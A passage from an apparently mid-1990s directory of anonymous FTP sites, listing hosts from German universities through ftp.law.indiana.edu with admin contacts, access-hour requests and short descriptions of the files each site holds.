hpsystem2.informatik.tu-muenchen.de, ftp.leo.org +Admin : ftp-admin@informatik.tu-muenchen.de, ftp-admin@leo.org +Organ : Technische Universitaet Muenchen (Munich University of Technology), + Munich, CS dept. Link Everything On-line (LEO) +Server : ftp-mailer@informatik.tu-muenchen.de; + http://www.informatik.tu-muenchen.de/ http://www.leo.org/ +System : Unix +URL : ftp://ftp.informatik.tu-muenchen.de/ +Comment: successor of dsrbg2.informatik.tu-muenchen.de; read /AGB before + accessing any files in this archive; read /README as well; + please transfer files during non-business hours: 18:00-09:00 CET +Files : AFA mirror; Amiga; Atari; Benchmark; BSD; comm; comp.source; doc; + GIF graphics files in /pub/rec/images; GNU; IAFA; IRC clients and + related material; kermit; MS-DOS; Music lyrics (from ftp.uwp.edu); + PoV raytracer; TeX; utils; X11R4/5 + +Site : ftp.informatik.uni-freiburg.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : fidji.informatik.uni-freiburg.de +Admin : sunmgr@informatik.uni-freiburg.de +Organ : Universitaet Freiburg (University of Freiburg), Freiburg, CS dept. +Server : +System : Unix +URL : ftp://ftp.informatik.uni-freiburg.de/ +Comment: max. 60 users; don't upload MS-DOS or Windows applications to this + server; current working directory is / +Files : Atari; Benchmark; docs; languages; magazines; net; sites; Sun; X11 + +Site : ftp.informatik.uni-hamburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : rzsun2.informatik.uni-hamburg.de +Admin : zierke@informatik.uni-hamburg.de +Organ : Universitaet Hamburg (University of Hamburg), Hamburg, CS dept. +Server : +System : Unix +URL : ftp://ftp.informatik.uni-hamburg.de/ +Comment: please try to only retrieve things outside of normal business + hours ie 0900-1800 MET +Files : antivirus utilities; CARO information and virus databases; + comp.sources.(mac,misc,sun,unix,x); docs; gnu; graphics; lang; + mail; net; shells; sites; Sun; TeX; utils; X11 + +Site : ftp.informatik.uni-hildesheim.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : gerns@informatik.uni-hildesheim.de +Organ : Universitaet Hildesheim (University of Hildesheim), Hildesheim, + CS dept. +Server : +System : +URL : ftp://ftp.informatik.uni-hildesheim.de/ +Comment: +Files : + +Site : ftp.informatik.uni-kiel.de +Country: Germany +GMT : +1 +Date : 08-Jun-94 +Source : Deutsche Anonyme FTP-Server List; admin +Alias : dragon.informatik.uni-kiel.de +Admin : ftp-admin@informatik.uni-kiel.de +Organ : Universitaet Kiel (University of Kiel), Kiel, CS dept. +Server : +System : Unix (Sun3/80, SunOS 4.1.1) +URL : ftp://ftp.informatik.uni-kiel.de/ +Comment: please restrict working day access to outside 09:00-17:00 local time +Files : 386BSD; Fresco (X); grass; information about O'Reilly books; + InterViews (X); Linux (mirrors of Slackware and a site in Erlangen) + +Site : ftp.informatik.uni-muenchen.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : arcadia.informatik.uni-muenchen.de +Admin : ftp@informatik.uni-muenchen.de for uploads, + cbaur@informatik.uni-muenchen.de for problems +Organ : Universitaet Muenchen (University of Munich), Munich, CS dept. +Server : +System : Unix +URL : ftp://ftp.informatik.uni-muenchen.de/ +Comment: peanuts.pst.informatik.uni-muenchen.de and + ns.informatik.uni-muenchen.de are obsolete; transfers are logged; + please transfer larege files outside working hours; max. 30 users; + aliases for many directories, try 'cd next' in any directory +Files : comp (database, docs, GNU, graphics, infosystems, networking, OS, + platforms, programming, security, typesetting, Usenet, X11); local + (CIP, comp, dbs, nm, pms, pst, rec, reports); NeXT (mirrored on + ftp.mb3.tu-chemnitz.de, ftp.tu-chemnitz.de, ftp.uni-hamburg.de, + ftp.uni-siegen.de, ftp.eunet.ch, ftp.fdn.fr); rec (cooking, fun, + games, images, magic, music); science (CS, math, neural-nets, + physics) + +Site : ftp.informatik.uni-oldenburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : faramir.informatik.uni-oldenburg.de +Admin : Joerg.Lehners@arbi.informatik.uni-oldenburg.de (Joerg Lehners) +Organ : Universitaet Oldenburg (Oldenburg University), Oldenburg +Server : +System : +URL : ftp://ftp.informatik.uni-oldenburg.de/ +Comment: +Files : Amiga; dkbtrace; IRC client and server programs; PoV raytracer + +Site : ftp.informatik.uni-rostock.de +Country: Germany +GMT : +1 +Date : 30-Oct-94 +Source : Deutsche Anonyme FTP-Server List +Alias : poel.informatik.uni-rostock.de +Admin : ftpadm@informatik.uni-rostock.de +Organ : Universitaet Rostock (Rostock University), Rostock +Server : +System : Unix +URL : ftp://ftp.informatik.uni-rostock.de/ +Comment: restrict working day access outside 08:00-16:00 local time; + uploads to incoming/; several new-{month} index files +Files : antivirus; doc; graphics; Linux; magazine; Unix + +Site : ftp.informatik.uni-stuttgart.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : inf.informatik.uni-stuttgart.de +Admin : ftpadm@informatik.uni-stuttgart.de +Organ : Universitaet Stuttgart (University of Stuttgart), Stuttgart, + CS dept. +Server : +System : Unix +URL : ftp://ftp.informatik.uni-stuttgart.de/ +Comment: Open 24 hours; max. 40 users; transfers are logged; uploads + to in.coming, send mail to the admin address when you upload + something or it will be deleted; the server can (un)compress, + g(un)zip and tar files and directories; the names: + ifi.informatik.uni-stuttgart.de & ifigw.informatik.uni-stuttgart.de + are obsolete +Files : AERO; apricots; ArabTeX; Atari ST; cinema; cio; dfg; diplomarbeiten; + dkfz; ei3; Eiffel; fractal compression; GNU; graphics; GRIDS; inet; + ipvrpub; jb93; lgrammar; library; Linux; load_balancing; ludewig; + Melody; Minix; modula_p; movie; MS-DOS; net; parallaxis; + performance; petri-nets; PoliFlow; polygloss; postgres; + postleitzahlen; RandomDots; RS6000; security; SNNS; statinfo; Sun; + swift; tech-reports; TeX; TI; Tiempo; traces; visAvis; vistra; VS; + Windows; X11R4; X11R5; X11R6; xit; Xlocal + +Site : ftp.inmark.com +Country: +GMT : +Date : 23-Aug-94 +Source : posting in comp.archives.admin +Alias : inmark.inmark.com +Admin : +Organ : Inmark Development +Server : +System : Unix +URL : ftp://ftp.inmark.com/ +Comment: Inmmark related files +Files : demos; GNU + +Site : ftp.inmic.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : eos.inmic.se +Admin : +Organ : INMIC +Server : +System : Unix +URL : ftp://eos.inmic.se/ +Comment: +Files : aplac; cc; docs; fdf; noresd; sbus; vhdl + +Site : ftp.inria.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : ftp-france-lite; old ftp-list +Alias : +Admin : +Organ : INRIA +Server : +System : Unix +URL : ftp://ftp.inria.fr/ +Comment: the INRIA FTP archive; successor of nuri.inria.fr and + inria.inria.fr; directories: /INRIA, /pub, /system +Files : associations; banner; games; GNU; graphics; inet; INRIA; lang; + network; postscript; prog; research; RFCs; TeX; X; X11R5; Yabba + +Site : ftp.intel.com +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : mcstout@netcom.com (Mark C. Stout) {posting}; Perry.Rovers@kub.nl +Alias : aurora.intel.com +Admin : ftp-admin@intel.com +Organ : Intel Corp. +Server : +System : Unix +URL : ftp://ftp.intel.com/ +Comment: mirrored on ftp.edu.tw:/vendors/Intel +Files : benchmarks; dmtf; EtherExpress; i960; Intel Archictecture Labs + (IAL); ipg; isv; landesk; mcs51; mcs96; neural; papers; pld_fpga; + rmx; support; tis; x86 + +Site : ftp.inter.spin.ad.jp +Country: Japan +GMT : +9 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : archive.inter.spin.ad.jp +Admin : +Organ : SPIN +Server : +System : Unix +URL : ftp://ftp.inter.spin.ad.jp/ +Comment: +Files : docs; mirror; security; SNMP; SPIN info; Unix + +Site : ftp.interaccess.com +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : billa@netcom.com (William Arnett) {posting} +Alias : home.interaccess.com, parallel.com, edb.com +Admin : steve@interaccess.com +Organ : InterAccess +Server : +System : Unix +URL : ftp://ftp.interaccess.com/ +Comment: this server apparently provides nameservice for edb.com and + parallel.com +Files : cpe-net; dataprnt; edb (edb.com, maintainer: kenj@edb.com + (Ken Jones)); horizon; ihp-net; Interaccess info; parallel + (parallel.com, maintainer: weidl@parallel.com (Eric Weidl)); + plug and play; rec.arts.acii archive; Shoemaker-Levy 9 (SL9) + images; surge; uslist + +Site : ftp.intercon.com +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : +Alias : valhalla.intercon.com [or walhalla] +Admin : comment@intercon.com +Organ : InterCon +Server : +System : Unix +URL : ftp://ftp.intercon.com/ +Comment: +Files : InterCon: demo, info, InterSLIP, keyed products, TCP/Connect II + +Site : ftp.intergraph.com +Country: USA +GMT : -6 +Source : bpmerkel@ingr.com (Brady P. Merkel) +Alias : cis17.intergraph.com +Admin : support@ftp.intergraph.com +Organ : Intergraph Corporate Information Services, Huntsville, Alabama +Server : WWW: www.intergraph.com, Gopher: gopher.intergraph.com, + Mail Server: info@intergraph.com +System : Unix (CLIX OS, Intergraph Server) +URL : ftp://ftp.intergraph.com/ +Comment: max. 20 users; +Files : CLIX; Intergraph BBS files, Product information, Customer Services, + Evaluation Software; Net Software compiled for Intergraph hardware; + Win32s + +Site : ftp.internic.net +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : ds.internic.net +Admin : admin@internic.net, info@internic.net +Organ : Internet NIC - Directory and Database Services by AT&T and the NSF +Server : +System : Unix +URL : ftp://ftp.internic.net/ +Comment: Open 24 hours; Incredible disclaimer by AT&T (barf!); +Files : EDI; IETF; IESG; Internet-drafts; RFC; InterNIC info; + resource databases (plus files from ftp.nisc.sri.com) + +Site : ftp.interport.net +Country: USA +GMT : +Date : 15-Dec-94 +Source : +Alias : interport.net +Admin : +Organ : InterPort +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.interport.net/ +Comment: +Files : Mac (several useful Mac utils); NetBack (pub/fmkatz); SLIPKnot + (pub/pbrooks); Windows (some Internet related Windows programs + and other utils) + +Site : ftp.io.com +Country: USA +GMT : -6 +Date : 05-Jan-95 +Source : dwomack@io.com (Dave Womack); zboray@io.com (Don Z'Boray) {posting} +Alias : pentagon.io.com, io.com +Admin : admin@io.com +Organ : Illuminati On-Line, Austin, Texas +Server : http://www.io.com/ +System : Unix (Sun) +URL : ftp://ftp.io.com/ +Comment: user public directories +Files : convergence (e-zine); fasa; fwi (FringeWare Inc. catalogs etc.); + hartgr; IO; netinfo; netfobs; oenabler; sjgames (Steve Jackson + games); SoB (e-zine); tekumel (Empire of the Petal Throne src); + user dirs: 12vman (7FP, Buffet (alt.fan.jimmy-buffet: faqs, Guitar, + images, lyrics, MargRecords), IHL); aicinfo; averyc (gameboy, + nintendo, snes); btorres (NewtNews); cedavis (multimedia: mods, + samples: brass, percussion, strings, voice, woodwind); dmg + (dmg-humor, fnord); draco (AA, pb, pw images); dwomack (Dragon + (FAQ and support materials for alt.dragons-inn and + alt.books.sf.melanie-rawn); ebartley (StoryTeller: amusing, archive, + camarilla, campaigns, character sheets, fiction, general, mage, + vampire, werewolf); games (GURPS); gibbonsb (futures, misc.invest, + standards); gomer (picts: males (brewer twins, gif, jpeg) ); + infinite (chops, diplomacy, eps, gif, gifcatalog, in, info, + software); jam237 (The Bears Project: basic, bears, dos, unix, + windows); kerry (BSE, misc, ogre); mimir (asatru: mythology); + pmonti (ICARO, avp, virus info); qor (MUD); torin (mage, nexus [!], + sarah); zboray (4-newbies, coding, shareware: DOSQue scheduler and + more, W3); zebulon (fonts, images, programs, shadows edge); + zxcvb (mostly WWW material and for sale stuff) + +Site : ftp.io.org +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : CuD +Alias : wink.io.org, io.org +Admin : +Organ : Internex Online +Server : www.io.org, gopher.io.org +System : Unix +URL : ftp://ftp.io.org/ +Comment: +Files : Amiga (arc, auw, disk, dnet, ppp, plip, qwk, rexx, slip, term, + virus); Apple2; Atari (graphics, sound); BSDi; business; eye.WEEKLY; + graphics; human-rights; hypertext; Internex-info; Linux (mirror + from sunsite.unc.edu); list-archives; Mac (appl, comm, slip, util); + Netscape; PC (OS/2, SimTel software Repository, SLIP, telix, + Windows (ftp.cica.indiana.edu mirror), yarn); SLIP-software; tcb; + Unix (FreeBSD (ftp.freebsd.org), GNU (prep.ai.mit.edu)); user pub + directories (captpres, mslasher, rogers, sofa (MadROM, Tintin), + tcb); xfer + +Site : ftp.ipl.rpi.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : sun.ipl.rpi.edu +Admin : rodney@ipl.rpi.edu (Rodney Peck) +Organ : Rensselaer Polytechnical Institute, Troy, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ipl.rpi.edu/ +Comment: +Files : Sparc songs; SPD images; graphics files and programs; Haines Thesis + +Site : ftp.iquest.com +Country: USA +GMT : USA +Date : 30-Oct-94 +Source : dougal@iquest.com (Dougal Campbell) {posting} +Alias : magellan.iquest.com +Admin : +Organ : InterQuest +Server : www.iquest.com +System : Unix (Linux, PC) +URL : ftp://ftp.iquest.com/ +Comment: +Files : Amiga; diacoustics; fairgate; Linux (sunsite.unc.edu); Mac; MS-DOS; + Nethack; off-line; RPG; VSTa; windows + +Site : ftp.ira.uka.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List; VAX Software List +Alias : iraun1.ira.uka.de, iraun1.informatik.uni-karlsruhe.de, + ftp.informatik.uni-karlsruhe.de +Admin : ftpadm@ira.uka.de +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe +Server : +System : Unix +URL : ftp://ftp.ira.uka.de/ +Comment: compress on the fly is available; aliases for x11, gnu, rfc, mib + drafts; if you leave anything in the incoming directory send mail to + the admin address; try to retrieve things outside of normal + business hours: 07:00-17:00 GMT, 08:00-18:00 local time; + modified ls command, try ls -H for help +Files : bibliography; CCITT; comp.sources.unix; database; doc; DIGI; + Glimpse; GNU; ftp-list; ftp-list-de; graphics; ham-radio; network; + neuron; netinfo; papers; programming; RFCs; RIPE; security; systems; + uni-karlsruhe; X11 + +Site : ftp.ircam.fr +Country: France +GMT : +1 +Date : 15-Dec-94 +Source : MIDI FTP sitelist as posted to news.answers +Alias : +Admin : manager@ircam.fr +Organ : IRCAM +Server : +System : Unix +URL : ftp://ftp.ircam.fr/ +Comment: the server can compress files, full directories transfer has been + disabled due to unreasonable use; DO NOT TRANSFER FILES DURING + THE DAYTIME (08:00-19:00) +Files : MIDI related files + +Site : ftp.irisa.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : ftp-france-liste; old ftp-list +Alias : irisa.fr, irisa.irisa.fr +Admin : ftpmaint@irisa.fr +Organ : Institute de Recherche en Informatique et Systemes Aleatoires + (IRISA, INRIA/CNRS, Universite de Rennes I/Insa de Rennes), + Rennes, Brittany +Server : +System : Unix +URL : ftp://ftp.irisa.fr/ +Comment: Open 24 hours; disclaimer again.. +Files : AFUU-BPL; bench; C++; com; compress; docs; FrameMaker; games; + GNUplot; graphics; m-emac; micro-spell; mirrors; mp; mtools; + Postscript; Sather; siames; tcsh; tech-reports; VT100; X11 + +Site : ftp.is.co.za +Country: South Africa +GMT : 0 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : apollo.is.co.za +Admin : +Organ : Internet Solution +Server : gopher.is.co.za (=hermes.is.co.za) +System : Unix (System V Release 4.0) +URL : ftp://ftp.is.co.za/ +Comment: +Files : awk; Internet Solution info; networking (archival, dns, + info-service, ip, mail, ncftp, news, pc, serial, ; rates; SCO; + security; Sun-patches; textutil; utils (misc. std. utils) + +Site : ftp.ise.fhg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ise.fhg.de +Admin : +Organ : , Freiburg +Server : +System : +URL : ftp://ftp.ise.fhg.de/ +Comment: successor of fhg1.fhg.de +Files : + +Site : ftp.isi.edu +Country: USA +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com; old ftp-list +Alias : venera.isi.edu +Admin : action@isi.edu +Organ : University of Southern California, , California, + Information Sciences Institute (ISI) +Server : +System : Unix +URL : ftp://ftp.isi.edu/ +Comment: Open 24 hours; all transfers to and from this host are logged +Files : GNU Chess; RFCs, FYIs, IEN from ftp.nisc.sri.com + (internet tour etc.); statspy (NNstat) + +Site : ftp.iunet.it +Country: Italy +GMT : +1 +Date : 22-May-94 +Source : dlist@ora.com +Alias : osi.iunet.it +Admin : +Organ : IUNet, Genova, NOC +Server : +System : Unix +URL : ftp://ftp.iunet.it/ +Comment: max. 20 foreign users; also available through FSP +Files : astro; benchmark; comp.sources; compilers; Cosine; docs; games; GNU; + graphics; HP; Internet Talk Radio; IUNet; ix386; Mac; Mach; mail; + math; mirror; MS-DOS; multimedia; network; news; NeXT; OS; papers; + performance; programming; security; SFS; simulators; Sun-dist; TeX; + Unix; vendor; X11 + +Site : ftp.izf.tno.nl +Country: Netherlands +GMT : +1 +Date : 25-Jan-95 +Source : tom@izf.tno.nl (Tom Vijlbrief) {posting} +Alias : izfgate.izf.tno.nl +Admin : postmaster@izf.tno.nl +Organ : The Netherlands Organization For Applied Scientific Research (TNO), + Soesterberg +Server : +System : Netware (PC fileserver) +URL : ftp://ftp.izf.tno.nl/ +Comment: strange directory structure, Netware fileserver with custom + ftpd; default directory: \public; 14K4 link +Files : patched X server for Cirrus videocard users for Linux + +Site : ftp.jazzie.com +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : p8.jazzie.com +Admin : info@jazzie.com +Organ : Jazzie Systems, Seattle, Washington +Server : +System : Unix +URL : ftp://ftp.jazzie.com/ +Comment: +Files : + +Site : ftp.jcu.edu.au +Country: Australia +GMT : +10 +Date : 25-Jan-95 +Source : rem@btr.com (Robert E. Maas) {posting} +Alias : lionfish.jcu.edu.au +Admin : +Organ : James Cook University +Server : +System : Unix (OSF/1) +URL : ftp://ftp.jcu.edu.au/ +Comment: successor of marlin.jcu.edu.au? +Files : benchmarks; BSD; CERT; dpi; JCUMetSat; IBMPC; logo; Novell; + Progress; RFCs; SCO; STEP; Tropical Ecology; Ultrix; Varian; X11R5 + +Site : ftp.jpl.nasa.gov +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : rbh@aol.net (Robert Hirsch) +Alias : jplpio.jpl.nasa.gov +Admin : newsdesk@jpl.nasa.gov +Organ : NASA - Jet Propulsion Laboratory, Pasadena, California, Public + Information Office +Server : http://www.jpl.nasa.gov/ +System : Unix +URL : ftp://ftp.jpl.nasa.gov/ +Comment: +Files : educator (for teachers); fsheets (fact sheets about missions); + images (anim, hi-res, sl9); news; releases; sircxsar (Spaceborne + Imaging Rader-C/X-band Synethetic Aperture Radar); software (misc. + software); status; topex (TOPEX/Poseidon oceanographic mission); + universe (local magazine archive) + +Site : ftp.jvnc.net +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : nisc.jvnc.net, r2d2.jvnc.net +Admin : root@nisc.jvnc.net, root@r2d2.jvnc.net +Organ : John von Neumann Super Computer Centre NIC, Princeton, New Jersey +Server : +System : Unix +URL : ftp://ftp.jvnc.net/ +Comment: directory: /jvncnet-packages/nocol +Files : beta; dialin-tiger; docs; JvNC Net info; k12; Mac; mail-list; + Meaddata; Meckler; megabytes; MS-DOS; network info; NOCOL (NOC On + Line); packages; RFCs; site-reps; traffic-reports; Unix + +Site : ftp.jwa.go.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : poseidon.jwa.go.jp +Admin : +Organ : Japan Weather Assocation +Server : +System : Unix +URL : ftp://ftp.jwa.go.jp/ +Comment: +Files : docs; Mac; MS-DOS; sat; Unix; util + +Site : ftp.kazusa.or.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : pka1.kazusa.or.jp +Admin : +Organ : Kazusa DNA Research Institute +Server : +System : Unix +URL : ftp://ftp.kazusa.or.jp/ +Comment: +Files : data [?] + +Site : ftp.kcl.ac.uk +Country: UK +GMT : 0 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : basher.cc.kcl.ac.uk +Admin : +Organ : King's College, London, CC +Server : +System : VAX/VMS running MadGoat/OpenVMS +URL : ftp://ftp.kcl.ac.uk/ +Comment: default directory: ANONYMOUS_ROOT:[000000] +Files : alarm; archie; bison; boss; bulletin; cmu-tcpip; cproto; datebook; + deliver; dism32; dumper32; dx; elvis; emacs; etek; ethermon; fdvd; + fidogate; fileutils; finger; flex; flist; fts; games; gas; gawk; + gifsixel; GNU; GNUchess; GNUplot; gopher; hassle; hpgl2ps; hytelnet; + irc; iupop; jed; juicer; kermit; laser; ldb; lex; lynx; lzw; + madgoat; make; mftu; micro-support; mosaic; mpeg; mx; name-router; + nanny; news; nsquery; patch_diff; pbmplus; pcx; perf_meter; perl; + pgp; psutils; que_mon; rcs; rz/sz; scanuaf; sed; setpql; + sixel_print; spell; sunclock; swim; swing; tcl; tcsh; tex-lsedit; + tscon; twm; vaxtrek; vds; vi; vitpu; vmstpc; vms_share; vnews; + watcher; X11; XDVI; XFIG; XFORECAST; XSCOPE; XSHARE; XTERM; XV; + XVIEWGL; XWINDOWS; YACC; zenternet; zip/unzip; zmodem; zoo + +Site : ftp.khoros.unm.edu +Country: USA +GMT : -7 +Date : 24-Jan-95 +Source : ftp.switch.ch +Alias : info.khoros.unm.edu +Admin : ftp@khoros.unm.edu +Organ : University of New Mexico, Albuquerque, New Mexico +Server : +System : Unix +URL : ftp://ftp.khoros.unm.edu/ +Comment: max. 20 users; mirrored on ftp.switch.ch +Files : crypt breakers workbench (cbw); dist (aegis, amd, c-to-ansic, + contool, DEC, duel, elm, epoch, f2c, GB, Gems, GNU, GNUplot, hp2pbm, + IETF, ioccc, ispell, jpeg, lapack, map, MAEstro, mh, moira, mush, + netlib, netman, ntalk, pbmplus, pmake, psroff, resource-guide, + rkive, rn, sc, security, sendmail, SunOS patches, sysinfo, tcsh, + tiff, TeX, Utah toolkit, vis5d, vogle, wais, X, X11R5, xntp, zephyr, + zsh); ftp-list [old!]; Internet info; istec; Khoros; League for + Programming Freedom (LPF); Mac; misc network related utils; network + maps (AARnet, Alternet, ANS, BARRnet, bitnet, canet, cerfnet, + cicnet, concert, csunet, esnet, ilan, jvncnet, mae-east, michnet, + midnet, mixnet, mrnet, nearnet, nordunet, nsfnet, nwnet, oarnet, + onet, pipex, prepnet, psi, ripe, sesquinet, suranet, switch, thenet, + twbnet, ucb, uhnet, vernet, westnet; pa-risc; papers; PC; perl; + procmail; rec.games.abstract; RFCs; Sun patches (4.1.1, 4.1.2); + Usenet info; wu-ftpd + +Site : ftp.kiae.su +Country: Russia +GMT : +2 +Date : 24-Jan-95 +Source : ajh@uwasa.fi (Ari J. Hovila) {posting} +Alias : arch.kiae.su +Admin : ftp-adm@kiae.su +Organ : KIAE +Server : mailserv@kiae.su [?] +System : Unix +URL : ftp://ftp.kiae.su/ +Comment: max. 10 users; several index files; site find pattern to search + filenames and descriptions; read FINDING-FILES for more info +Files : 386BSD; Apple; FreeBSD; GNU; Internet (archives, docs, FAQs, maps, + Mosaic-papers, multimedia, RFCs); Linux; MS-DOS (arcers, arcutil, + astronomy, bat, bbs, biology, cad, calculator, cdrom, comm, + compress, convert, crypto, database, deskpub, doc, dos, dskutil, + education, emulator, execomp, fido, filutil, finance, games, + genealogy, gnu, graphics, hardware, lan, language, magick, + multitask, news-mail, plot, printer, programming, qtrdeck, relcom, + schedule, shell, sound, spreadsheet, sys, tape, tcpip, text, + unixlike, virus, x11); NetBSD; OS/2 (arcers, arcutil, bugfixes, + comm, convert, cyr, doc, drivers, dskutil, fido, games, gnu, + graphics, ibm, lan, misc, pmtool, programming, rexx, shell, sound, + systools, tcpip, user); Relcom net info and support files; Unix + (arcers, astronomy, bbs, benchmarks, books, cad, comm, compress, + convert, cprog, crypto, database, emulator, fido, fileutl, games, + graphics, lang, magick, mail, math, misc, msdos, news, os, relcom, + shell, sound, sysadm, sysutl, tcpip,text, viewer); tar313 source + and binaries; VMS; Windows (arcers, astronomy, bbs, cad, cdrom, + comm, crypto, cyrillic, database, demo, desktop, doc, drivers, + education, faq, finance, fonts, games, genealogy, graphics, icons, + lan, language, magick, mail, medicine, microsoft, misc, multimedia, + nt, oo, patches, printer, programmer, sdl, sound, tcpip, text, + toolbook, util, viewer, virus, winword, wp, wp4win, wrk, x11); X11 + +Site : ftp.knoware.nl +Country: Netherlands +GMT : +1 +Date : 01-Jun-94 +Source : Perry.Rovers@kub.nl +Alias : runner.knoware.nl +Admin : ftp@knoware.nl +Organ : Stichting Knoware (Knoware Foundation), Utrecht +Server : +System : Unix +URL : ftp://ftp.knoware.nl/ +Comment: transfers are logged; WWW server: www.knoware.nl +Files : delta; emulator (Mac on PC); Internet tools: IRCclient, + KA9Q, NUPOP, SLIP, Trumpet, Winsock, Wintrumpet + +Site : ftp.kodak.com +Country: USA +GMT : -5 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : info.kodak.com +Admin : +Organ : Kodak +Server : +System : Unix +URL : ftp://ftp.kodak.com/ +Comment: standard disclaimer; max. 100 users; transfers are logged; + server can (de)compress, g(un)zip and tar (tar disabled for + large directories, you don't want a 500Mb tar file, right?) +Files : digital camera (DCS, sample images, software updates, technical + tips [under construction]; gem; images; ips; nitfs; photo CD (color, + general, iamges, international, news, portfolio, prepress, printers, + processors, software, writable); security (tiger); www; ycc + + +Site : ftp.konbib.nl +Country: Netherlands +GMT : +1 +Date : 22-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : python.konbib.nl +Admin : +Organ : Koninklijke Bibliotheek (Royal Library), The Hague +Server : gopher.konbib.nl www.konbib.nl +System : Unix +URL : ftp://ftp.konbib.nl/ +Comment: access through gopher and WWW easier +Files : Gopher Editor + +Site : ftp.kpc.com +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : old ftp-list +Alias : horn.kpc.com +Admin : +Organ : KPC +Server : +System : Unix +URL : ftp://ftp.kpc.com/ +Comment: mirror directory +Files : graphics; KPC; list (alpha-osf-managers, dore, ex-amders, flashlife, + lh, stardent-users); mirror (3d, avalon (from + avalon.chinalake.navy.mil, c-news (ftp.cs.toronto.edu), GNU + (prep.ai.mit.edu), Perl (ora.com, ftp.uu.net)); net (convex.com, + Sun-patches); xhibition + +Site : ftp.krl.caltech.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : altair.krl.caltech.edu +Alias : dschubba.krl.caltech.edu +Admin : brown@reed.edu +Organ : California Institute of Technology, Pasadena, California, + Kellogg Radiation Lab. +Server : +System : Unix +URL : ftp://ftp.krl.caltech.edu/ +Comment: max. 20 users +Files : avida; NetHack (reed spoilers, weapons guide); sf2 + +Site : ftp.laas.fr +Country: France +GMT : +1 +Date : 30-Oct-94 +Source : ftp.xfree86.org +Alias : laas.fr +Admin : +Organ : LAAS +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.laas.fr/ +Comment: mirror of ftp.xfree86.org +Files : antibes-93; Atari; bafleur; cesame; designtest; docs; Emacs; + esorics; estim; ia; kheops; lcs; logiciels; NetBSD; NEXUS; nic; + pcl; reports; RFCs; Sorel; TeX; theses-rapports; tsf2lri + +Site : ftp.lasermoon.co.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : info@lasermoon.co.uk (Lasermoon Info Desk) {posting} +Alias : lexington.lasermoon.co.uk +Admin : server-admin@lasermoon.co.uk +Organ : Lasermoon, Fareham +Server : +System : Unix (Linux, PC) +URL : ftp://ftp.lasermoon.co.uk/ +Comment: server supports tarring, .gz and .Z compression; all users and + logins are logged +Files : crisp (THE editor); dBMAN (Database Management); flagship + (database); FreeBSD; games; Lasermoon catalogue; Linux; mirror of + ftp.ora.com; Perl; RedHat (Linux distribution); Slackware; SWiM + (Motif for Linux); Systek; Tcl; vendors (ACC Corp.); Xad (Motif + applications builder) + +Site : ftp.lat.oz.au +Country: Australia +GMT : +10 +Date : 25-Jan-95 +Source : +Alias : latai.lat.oz.au +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.lat.oz.au/ +Comment: +Files : 68xxx emulator; browne (celt, clt); papers; symbmath; vttool + + +Site : ftp.latech.edu +Country: USA +GMT : -6 +Date : +Source : aurora.latech.edu +Alias : +Admin : +Organ : Louisiana Institute of Technology, , Louisiana +Server : +System : +URL : ftp://ftp.latech.edu/ +Comment: use this one instead of aurora.latech.edu, now used for private + transfers [accepts anonymous ftp though] +Files : + +Site : ftp.law.cornell.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : PC NFS FAQ +Alias : fatty.law.cornell.edu +Admin : ftpmaster@ftp.law.cornell.edu +Organ : Cornell University, Ithaca, New York, Law School, + Legal Information Institute (LII) +Server : +System : Unix +URL : ftp://ftp.law.cornell.edu/ +Comment: directory: /pub/LII/Cello, pub/LII/Directory, pub/Internet +Files : Cello (WWW client for MS-Windows, mirrored on many sites); + CILP; Folio Views version of Legal Academia; humor; Internet; Jim + Milles Internet Training files; listservs; TRI + +Site : ftp.law.indiana.edu +Country: USA +GMT : -5 +Date : 15-May-94 +Source : MODERxx.ZIP +Alias : polecat.law.indiana.edu +Admin : will@polecat.law.indiana.edu (Will Sadler) +Organ : Indiana University, Bloomington, Indiana, Law School +Server : +System : Unix +URL : 